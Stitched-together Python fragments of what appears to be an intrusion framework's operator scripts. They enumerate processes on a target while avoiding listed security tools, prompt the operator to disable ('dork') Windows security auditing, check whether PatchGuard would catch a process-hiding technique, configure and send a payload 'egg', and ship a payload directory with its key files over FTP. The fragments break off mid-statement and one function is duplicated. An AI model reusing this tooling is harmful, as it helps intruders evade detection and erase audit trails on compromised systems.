= os.path.join(path, 'Lib') if (path not in sys.path): sys.path.append(path) (success, ret) = ops.survey.engine.launcher.plugin_launcher(module=options.module, prompt=False, bg=False, name=options.name, marker=options.marker, run_name=options.run_name, args=args, nobugs=True) if (not success): ops.survey.error(options.marker) ops.error(('Encountered errors executing %s' % options.module)) sys.exit((-1))
def main(args): bad = [] with open(BAD_PROCS) as input: for i in input: bad.append(i.strip().lower()) pids = [] dsz.control.echo.Off() cmd = 'processes -list' (succ, proccmdid) = dsz.cmd.RunEx(cmd, dsz.RUN_FLAG_RECORD) dsz.control.echo.On() procobject = None try: procobject = ops.data.getDszObject(cmdid=proccmdid, cmdname='processes') except: dsz.ui.Echo('There was an issue with the ops.data.getDszObject.', dsz.ERROR) return 0 ourpid = dsz.env.Get('_PID') dsz.ui.Echo('===========================================', dsz.WARNING) dsz.ui.Echo(('= We are currently executing from PID %s =' % ourpid), dsz.WARNING) dsz.ui.Echo('===========================================', dsz.WARNING) proclist = [] for process in procobject.initialprocesslistitem.processitem: if ((process.name == 'System') or (process.name == '') or (process.id == 0)): ops.info(('Skipping PID %s (%s)' % (process.id, process.name))) continue if (process.name.strip().lower() in bad): ops.warn(('Skipping PID %s (%s), something might catch us.' % (process.id, process.name))) continue proclist.append({'pid': process.id, 'name': process.name, 'path': process.path, 'user': process.user}) for proc in proclist: dsz.control.echo.Off() cmd = ('processinfo -id %s' % proc['pid']) (succ, cmdid) = dsz.cmd.RunEx(cmd, dsz.RUN_FLAG_RECORD) dsz.control.echo.On() if (not succ): ops.error(('Could not query process info for PID %s (%s)' % (proc['pid'], proc['name']))) else: ops.info(('Got processinfo for PID %s (%s)' % (proc['pid'], proc['name']))) procinfoobj = None try: procinfoobj = ops.data.getDszObject(cmdid=cmdid, cmdname='processinfo') except: dsz.ui.Echo('There was an issue with the ops.data.getDszObject. Please try re-running the command with the same parameters.', dsz.ERROR) return 0 modulelist = [] zerolist = [] for module in procinfoobj.processinfo.modules.module: outsiderange = False if (((module.baseaddress + module.imagesize) < module.entrypoint) or ((module.baseaddress > module.entrypoint) and (module.entrypoint != 0))): outsiderange = True dsz.ui.Echo(('\tFound module in %s which has an entrypoint outside the image' % proc['pid']), dsz.ERROR) dsz.ui.Echo(('\t\tName: %s' % module.modulename), dsz.ERROR) dsz.ui.Echo(('\t\tEntry Point: 0x%011x' % module.entrypoint), dsz.ERROR) dsz.ui.Echo(('\t\tImage Size: 0x%08x' % module.imagesize), dsz.ERROR) dsz.ui.Echo(('\t\tBase Address: 0x%011x' % module.baseaddress), dsz.ERROR) for checksum in module.checksum: if (checksum.type is None): continue dsz.ui.Echo(('\t\t\t%s: %s' % (checksum.type, checksum.value)), dsz.ERROR) elif ((module.entrypoint == 0) and (not checkzeroentry(module))): outsiderange = True sha1 = None for checksum in module.checksum: if (checksum.type is None): continue if (checksum.type == 'SHA1'): sha1 = checksum.value zerolist.append({'base': ('0x%011x' % module.baseaddress), 'img': ('0x%08x' % module.imagesize), 'entry': ('0x%011x' % module.entrypoint), 'modulename': module.modulename, 'sha1': sha1}) if (module.modulename == ''): entrypointoffset = None if (not outsiderange): entrypointoffset = ('0x%08x' % (module.entrypoint - module.baseaddress)) base = ('0x%011x' % module.baseaddress) imagesize = ('0x%08x' % module.imagesize) entrypoint = ('0x%011x' % module.entrypoint) modulelist.append({'base': base, 'img': imagesize, 'entry': entrypoint, 'modulename': module.modulename, 'entrypointoffset': entrypointoffset}) if (len(zerolist) > 0): dsz.ui.Echo('=======================================================', dsz.WARNING) dsz.ui.Echo(('= Found modules with entrypoint of 0x00000000 in %s =' % proc['pid']), dsz.WARNING) dsz.ui.Echo('=======================================================', dsz.WARNING) zerolist.sort(key=(lambda x: x['modulename'])) pprint(zerolist, ['Entry Point', 'Image Size', 'Base Address', 'Module Name', 'SHA1'], ['entry', 'img', 'base', 'modulename', 'sha1']) if (len(modulelist) > 0): if (int(proc['pid']) == int(ourpid)): dsz.ui.Echo('==========================================================', dsz.WARNING) dsz.ui.Echo(('= Found blank modules in %s, which matches our PID %s =' % (proc['pid'], ourpid)), dsz.WARNING) dsz.ui.Echo('==========================================================', dsz.WARNING) else: dsz.ui.Echo('=================================================================', dsz.ERROR) dsz.ui.Echo(('= Found blank modules in %s, which DOES NOT match our PID %s =' % (proc['pid'], ourpid)), dsz.ERROR) dsz.ui.Echo('=================================================================', dsz.ERROR) modulelist.sort(key=(lambda x: x['entry'])) pprint(modulelist, ['Entry Point', 'Image Size', 'Base Address', 'Entry Point Offset'], ['entry', 'img', 'base', 'entrypointoffset'])
def pulist(ip, dszquiet=False): flags = dsz.control.Method() if dszquiet: dsz.control.quiet.On() dsz.control.echo.Off() cmd = ops.cmd.getDszCommand('performance', dszuser=ops.cmd.CURRENT_USER, data='Process', bare=True, target=(ip if (ip != '127.0.0.1') else None)) ops.info(("Running '%s'..." % cmd)) result = cmd.execute() if (not cmd.success): if (result.commandmetadata.status == 268435456): ops.error(( 'Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.' % result.cmdid)) del flags return None elif (result.commandmetadata.status is None): dszlogger = DSZPyLogger() log = dszlogger.getLogger(LOGFILE) log.error( 'Command did not execute, possibly the result of a malformed command line.' ) ops.info( 'A problem report has been automatically generated for this issue.', type=dsz.DEFAULT) else: ops.error(( 'Failed to query performance hive. Check your logs for command ID %d for more information.' % result.cmdid)) del flags return None if (not result.performance.object): ops.error(( 'Query succeeded but returned no data. Check your logs for command ID %d and hope for enlightenment.' % result.cmdid)) regex = re.compile('.+\\....$') table = [] echo = [] uptime = None for instance in result.performance.object[0].instance: if (regex.match(instance.name) is None): proc = (instance.name + '.exe') else: proc = instance.name for c in instance.counter: if (c.name == '784'): pid = int(c.value) elif (c.name == '1410'): ppid = int(c.value) elif (c.name == '684'): runtime = datetime.timedelta(microseconds=( (result.performance.perfTime100nSec - int(c.value)) // 10)) if (((pid == 0) and (ppid == 0) and (instance.name == 'Idle')) or (((pid == 4) or (pid == 8)) and (instance.name == 'System'))): [code, comment] = [ dsz.DEFAULT, ('System Idle Counter' if (instance.name == 'Idle') else 'System Kernel') ] elif ((pid == 0) and (ppid == 0) and (instance.name == '_Total') and (runtime == datetime.timedelta(microseconds=0))): continue else: [code, comment] = check_process(proc) table.append({ 'Process': instance.name, 'PID': pid, 'PPID': ppid, 'Comment': comment, 'Elapsed Time': runtime }) echo.append(code) pprint(table, dictorder=['PID', 'PPID', 'Elapsed Time', 'Process', 'Comment'], echocodes=echo) del flags return result
def main(): parser = OptionParser() parser.add_option('--status-only', dest='statusonly', action='store_true', default=False, help="Only show status, don't prompt about dorking") parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of auditing status information to use before re-running audit -status', type='int') (options, args) = parser.parse_args() if options.statusonly: ops.survey.print_header('Auditing status check, dorking will be later') else: ops.survey.print_header('Auditing dorking') last_status = ops.security.auditing.get_status(datetime.timedelta.max) audit_status = ops.security.auditing.get_status(datetime.timedelta(seconds=options.maxage)) ops.survey.print_agestring(audit_status.dszobjage) sysver = ops.system.systemversion.get_os_version(maxage=datetime.timedelta(seconds=86400)) logged_events = [] if (not audit_status.status.audit_mode): ops.info('Auditing is not enabled on this machine') else: ops.warn('Auditing is enabled on this machine') logged_events = filter((lambda x: (x.audit_event_success or x.audit_event_failure)), audit_status.status.event) if (len(logged_events) > 0): if (sysver.versioninfo.major > 5): pprint(logged_events, dictorder=['subcategory', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure']) else: pprint(logged_events, dictorder=['categorynative', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure']) else: ops.info('But nothing is being logged') if ops.security.auditing.is_dorked(): target_addrs = ops.project.getCPAddresses() audit_cmds = ops.cmd.get_filtered_command_list(cpaddrs=target_addrs, isrunning=True, goodwords=['audit', '-disable']) cur_cmd = ops.data.getDszObject(cmdid=audit_cmds[0]) ops.warn(('Auditing is already dorked on this system. See command %d from session %s' % (cur_cmd.commandmetadata.id, cur_cmd.commandmetadata.destination))) if (last_status is not None): if (audit_status.status.audit_mode != last_status.status.audit_mode): ops.warn('Auditing status has changed on this target! Was %s, is now %s', (last_status.status.audit_mode, audit_status.status.audit_mode)) stamp = last_status.cache_timestamp ops.warn(('Date of prior status info was: %d-%d-%d %d:%d' % (stamp.year, stamp.month, stamp.day, stamp.hour, stamp.minute))) changes = [] for i in range(len(last_status.status.event)): levent = last_status.status.event[i] cevent = audit_status.status.event[i] if ((levent.audit_event_success != cevent.audit_event_success) or (levent.audit_event_failure != cevent.audit_event_failure)): changes.append(cevent) if (len(changes) > 0): ops.warn('Event auditing status has changed on this target! See below for details') if (sysver.versioninfo.major > 5): pprint(changes, dictorder=['subcategory', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure']) else: pprint(changes, dictorder=['categorynative', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure']) if options.statusonly: ops.info('The above is only being shown for informational purposes, you will be prompted about dorking later') return if (audit_status.status.audit_mode and (not ops.security.auditing.is_dorked()) and (len(logged_events) > 0)): do_dork = dsz.ui.Prompt('Do you want to dork security auditing?', True) if do_dork: dork_success = False (results, messages) = ops.security.auditing.dork_auditing(dork_types=['security']) if (len(results) < 1): raise Exception('Failed to run the command to try to disable auditing') res = results[0] if (res.commandmetadata.isrunning == 1): ops.info(('Security auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id)) else: ops.error(('Dorking failed, see command %d for the reason.' % res.commandmetadata.id)) ops.warn('Note: Before attempting to say yes to the following question, you should see why the first one failed.\n\tIf it was "Pattern match of code failed", trying again won\'t help.') dork_all = dsz.ui.Prompt('Do you want to try dorking ALL auditing?', False) if dork_all: (results, messages) = ops.security.auditing.dork_auditing(dork_types=['all']) if (len(results) < 1): raise Exception('Failed to run the command to try to disable auditing') res = results[0] if (res.commandmetadata.isrunning == 1): ops.info(('ALL auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id)) else: ops.error(('Dorking failed, see command %d for the reason' % res.commandmetadata.id)) elif (not audit_status.status.audit_mode): ops.info('Auditing is already off, no need to dork') elif (len(logged_events) == 0): ops.info("Nothing is actually being audited, shouldn't need to dork") else: ops.info('Auditing is already dorked, not going to try a second time')
def main(): parser = OptionParser() parser.add_option('--status-only', dest='statusonly', action='store_true', default=False, help="Only show status, don't prompt about dorking") parser.add_option( '--maxage', dest='maxage', default='3600', help= 'Maximum age of auditing status information to use before re-running audit -status', type='int') (options, args) = parser.parse_args() if options.statusonly: ops.survey.print_header('Auditing status check, dorking will be later') else: ops.survey.print_header('Auditing dorking') last_status = ops.security.auditing.get_status(datetime.timedelta.max) audit_status = ops.security.auditing.get_status( datetime.timedelta(seconds=options.maxage)) ops.survey.print_agestring(audit_status.dszobjage) sysver = ops.system.systemversion.get_os_version(maxage=datetime.timedelta( seconds=86400)) logged_events = [] if (not audit_status.status.audit_mode): ops.info('Auditing is not enabled on this machine') else: ops.warn('Auditing is enabled on this machine') logged_events = filter( (lambda x: (x.audit_event_success or x.audit_event_failure)), audit_status.status.event) if (len(logged_events) > 0): if (sysver.versioninfo.major > 5): pprint(logged_events, dictorder=[ 'subcategory', 'audit_event_success', 'audit_event_failure' ], header=['Category', 'Success', 'Failure']) else: pprint(logged_events, dictorder=[ 'categorynative', 'audit_event_success', 'audit_event_failure' ], header=['Category', 'Success', 'Failure']) else: ops.info('But nothing is being logged') if ops.security.auditing.is_dorked(): target_addrs = ops.project.getCPAddresses() audit_cmds = ops.cmd.get_filtered_command_list( cpaddrs=target_addrs, isrunning=True, goodwords=['audit', '-disable']) cur_cmd = ops.data.getDszObject(cmdid=audit_cmds[0]) ops.warn(( 'Auditing is already dorked on this system. See command %d from session %s' % (cur_cmd.commandmetadata.id, cur_cmd.commandmetadata.destination))) if (last_status is not None): if (audit_status.status.audit_mode != last_status.status.audit_mode): ops.warn( 'Auditing status has changed on this target! Was %s, is now %s', (last_status.status.audit_mode, audit_status.status.audit_mode)) stamp = last_status.cache_timestamp ops.warn(('Date of prior status info was: %d-%d-%d %d:%d' % (stamp.year, stamp.month, stamp.day, stamp.hour, stamp.minute))) changes = [] for i in range(len(last_status.status.event)): levent = last_status.status.event[i] cevent = audit_status.status.event[i] if ((levent.audit_event_success != cevent.audit_event_success) or (levent.audit_event_failure != cevent.audit_event_failure)): changes.append(cevent) if (len(changes) > 0): ops.warn( 'Event auditing status has changed on this target! See below for details' ) if (sysver.versioninfo.major > 5): pprint(changes, dictorder=[ 'subcategory', 'audit_event_success', 'audit_event_failure' ], header=['Category', 'Success', 'Failure']) else: pprint(changes, dictorder=[ 'categorynative', 'audit_event_success', 'audit_event_failure' ], header=['Category', 'Success', 'Failure']) if options.statusonly: ops.info( 'The above is only being shown for informational purposes, you will be prompted about dorking later' ) return if (audit_status.status.audit_mode and (not ops.security.auditing.is_dorked()) and (len(logged_events) > 0)): do_dork = dsz.ui.Prompt('Do you want to dork security auditing?', True) if do_dork: dork_success = False (results, messages) = ops.security.auditing.dork_auditing( dork_types=['security']) if (len(results) < 1): raise Exception( 'Failed to run the command to try to disable auditing') res = results[0] if (res.commandmetadata.isrunning == 1): ops.info(( 'Security auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id)) else: ops.error(('Dorking failed, see command %d for the reason.' % res.commandmetadata.id)) ops.warn( 'Note: Before attempting to say yes to the following question, you should see why the first one failed.\n\tIf it was "Pattern match of code failed", trying again won\'t help.' ) dork_all = dsz.ui.Prompt( 'Do you want to try dorking ALL auditing?', False) if dork_all: (results, messages) = ops.security.auditing.dork_auditing( dork_types=['all']) if (len(results) < 1): raise Exception( 'Failed to run the command to try to disable auditing' ) res = results[0] if (res.commandmetadata.isrunning == 1): ops.info(( 'ALL auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id)) else: ops.error( ('Dorking failed, see command %d for the reason' % res.commandmetadata.id)) elif (not audit_status.status.audit_mode): ops.info('Auditing is already off, no need to dork') elif (len(logged_events) == 0): ops.info("Nothing is actually being audited, shouldn't need to dork") else: ops.info('Auditing is already dorked, not going to try a second time')
import datetime import sys import dsz import ops import ops.system.systemversion dsz.control.echo.Off() version = ops.system.systemversion.get_os_version(maxage=datetime.timedelta.max) if ((version.versioninfo.major >= 6) and (version.versioninfo.arch == 'x64')): ops.error('PatchGuard will detect and kill the process hidden via this technique. Command disabled on this platform.') sys.exit((-1))
import dsz, dsz.ui, dsz.cmd import ops import traceback import globalconfig, sendfile import os, distutils.file_util, os.path, sys if (len(sys.argv) <= 1): eggname = dsz.ui.GetString('What is your UR/VAL name?') else: eggname = sys.argv[1] if (not dsz.cmd.Run('python Payload\\_Prep.py -args "-action configure" -project pc', dsz.RUN_FLAG_RECORD)): ops.error('Payload was not properly configured, bailing...') sys.exit((-1)) payloadfile = dsz.cmd.data.Get('Payload::File', dsz.TYPE_STRING)[0] uploadfilename = os.path.join(globalconfig.config['paths']['tmp'], ('%s_configured_egg' % eggname)) distutils.file_util.copy_file(payloadfile, uploadfilename) try: dsz.cmd.Run(('python lib\\sendfile.py -args " --destdir imps -i %s -o %s " -project Ops' % (uploadfilename, eggname))) except: ops.warn('Failed to send your payload to imps, error below') traceback.print_exc(sys.exc_info())
default=False, dest='override', help='Override the safety check') parser.add_option('-g', '--guimonitor', action='store_true', default=False, dest='guimonitor', help='Send to the DSZ monitor') (options, args) = parser.parse_args() comstr = ''.join(args) cmd = ops.cmd.getDszCommand(comstr, dszquiet=True, norecord=False) cmd.dszmonitor = options.guimonitor (safe, safetymsg) = cmd.safetyCheck() if (not safe): ops.error('Command safety check failed!') ops.error(('Failure: %s' % safetymsg)) if options.override: ops.warn( 'Someone chose to override this safety check, so this monitor will still be run. I hope they knew what they were doing' ) else: sys.exit((-1)) mondata = cmd.execute() voldb = ops.db.get_voldb() targetID = ops.project.getTargetID() if options.savetotarget: tdb = ops.db.get_tdb() if (mondata is not None): vol_cache_id = voldb.save_ops_object(mondata, tag=options.tag,
systemversion.versioninfo.friendlyplatform) osver.set('OsVersionInfo', 'ServicePack', systemversion.versioninfo.extrainfo) with open(os.path.join(randDir, 'pcid-osversioninfo.txt'), 'w') as output: osver.write(output) shutil.copy(os.path.join(dataDir, 'config.xml'), randDir) shutil.copy(os.path.join(dataDir, 'exec.properties'), randDir) shutil.copy(os.path.join(dataDir, 'public_key.bin'), randDir) shutil.copy(os.path.join(dataDir, 'private_key.bin'), randDir) tempzipname = ('%s-%s-%s-PCID.zip' % (options.userID, options.project, gmtStamp)) try: sendfile.main(randDir, outfilename=tempzipname) except: print() ops.error('It looks like you failed to FTP... sad.') pcversion = '<unknown>' with open(os.path.join(dataDir, 'exec.properties'), 'r') as input: for line in input: property = line.strip().split(':') if ((len(property) == 2) and (property[0] == 'version')): pcversion = property[1] break if options.rename: renamed = ('%s.sent-%s' % (options.payDir, gmtStamp)) os.rename(options.payDir, renamed) if options.verbose: ops.info(("Renamed payload directory to '%s'" % renamed)) print() dsz.ui.Echo('------------------------------------------------------------', dsz.WARNING)
def main(): sig_cmd = ops.cmd.getDszCommand('python ifthen.py -project TeDi') sig_result = sig_cmd.execute() if (not sig_cmd.success): ops.error('Failed to execute script.')
import sys import dsz import ops import ops.parseargs dsz.control.echo.Off() parser = ops.parseargs.ArgumentParser() parser.add_argument('command_id', type=int, help='Command ID of wrapped command.') parser.add_argument('reason', help='Reason for command to be disabled.') options = parser.parse_args() if (options.reason.startswith('"') and options.reason.endswith('"')): options.reason = options.reason[1:(-1)] command = dsz.cmd.data.ObjectGet('CommandMetadata', 'Name', dsz.TYPE_STRING, options.command_id)[0] ops.error(('%s is disabled. Reason:' % command)) dsz.ui.Echo(('\t%s' % options.reason), dsz.ERROR) sys.exit((-1))
import dsz from optparse import OptionParser if (__name__ == '__main__'): parser = OptionParser() parser.add_option('-t', '--tag', action='store', type='string', default='', dest='tag', help='Cache-tag to save this under') parser.add_option('-s', '--save-to-target', action='store_true', default=False, dest='savetotarget', help='Save this to target.db in addition to voldb') parser.add_option('-i', '--interval', action='store', default=5, type='int', dest='interval', help='Update interval (in seconds)') parser.add_option('-o', '--override', action='store_true', default=False, dest='override', help='Override the safety check') parser.add_option('-g', '--guimonitor', action='store_true', default=False, dest='guimonitor', help='Send to the DSZ monitor') (options, args) = parser.parse_args() comstr = ''.join(args) cmd = ops.cmd.getDszCommand(comstr, dszquiet=True, norecord=False) cmd.dszmonitor = options.guimonitor (safe, safetymsg) = cmd.safetyCheck() if (not safe): ops.error('Command safety check failed!') ops.error(('Failure: %s' % safetymsg)) if options.override: ops.warn('Someone chose to override this safety check, so this monitor will still be run. I hope they knew what they were doing') else: sys.exit((-1)) mondata = cmd.execute() voldb = ops.db.get_voldb() targetID = ops.project.getTargetID() if options.savetotarget: tdb = ops.db.get_tdb() if (mondata is not None): vol_cache_id = voldb.save_ops_object(mondata, tag=options.tag, targetID=targetID) if options.savetotarget: tdb_cache_id = tdb.save_ops_object(mondata, tag=options.tag) while mondata.commandmetadata.isrunning:
import sys import dsz import ops import ops.cmd import ops.parseargs from ops.cmd.safetychecks import doSafetyHandlers dsz.control.echo.Off() parser = ops.parseargs.ArgumentParser() parser.add_argument('command_id', type=int, help='Command ID of wrapped command.') options = parser.parse_args() arguments = dsz.cmd.data.ObjectGet('CommandMetaData', 'Argument', dsz.TYPE_STRING, options.command_id) (good, msgparts) = doSafetyHandlers(ops.cmd.getDszCommand(' '.join(arguments))) if (not good): ops.error(('%s did not pass safety checks. %s:' % (arguments[0], ('Reasons' if (len(msgparts) > 1) else 'Reason')))) for msg in msgparts: dsz.ui.Echo(('\t%s' % msg), dsz.ERROR) dsz.ui.Echo('Command will *NOT* be run.', dsz.ERROR) sys.exit((-1))
def emkg_plist(ip, dszquiet=False): flags = dsz.control.Method() if dszquiet: dsz.control.quiet.On() dsz.control.echo.Off() cmd = ops.cmd.getDszCommand('processes', dszuser=ops.cmd.CURRENT_USER, list=True, target=(ip if (ip != '127.0.0.1') else None)) ops.info(("Running '%s'..." % cmd)) result = cmd.execute() if (not cmd.success): if (result.commandmetadata.status == 268435456): ops.error(( 'Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.' % result.cmdid)) del flags return None elif (result.commandmetadata.status is None): dszlogger = DSZPyLogger() log = dszlogger.getLogger(LOGFILE) log.error( 'Command did not execute, possibly the result of a malformed command line.' ) ops.info( 'A problem report has been automatically generated for this issue.', type=dsz.DEFAULT) else: ops.error(( 'Failed to query performance hive. Check your logs for command ID %d for more information.' % result.cmdid)) del flags return None table = [] echo = [] for processitem in result.initialprocesslistitem.processitem: if ((processitem.id == 0) and (processitem.parentid == 0)): name = 'System Idle Process' else: name = processitem.name [code, comment] = check_process(name) table.append({ 'Path': processitem.path, 'Process': name, 'PID': processitem.id, 'PPID': processitem.parentid, 'Created': ('' if ((processitem.name == 'System') or (processitem.name == 'System Idle Process')) else ('%s %s %s' % (processitem.created.date, processitem.created.time, processitem.created.type.upper()))), 'Comment': comment, 'User': processitem.user }) echo.append(code) if ((ip is None) or (ip == '127.0.0.1')): pprint(table, dictorder=[ 'PID', 'PPID', 'Created', 'Path', 'Process', 'User', 'Comment' ], echocodes=echo) else: pprint( table, dictorder=['PID', 'PPID', 'Created', 'Path', 'Process', 'Comment'], echocodes=echo) del flags return result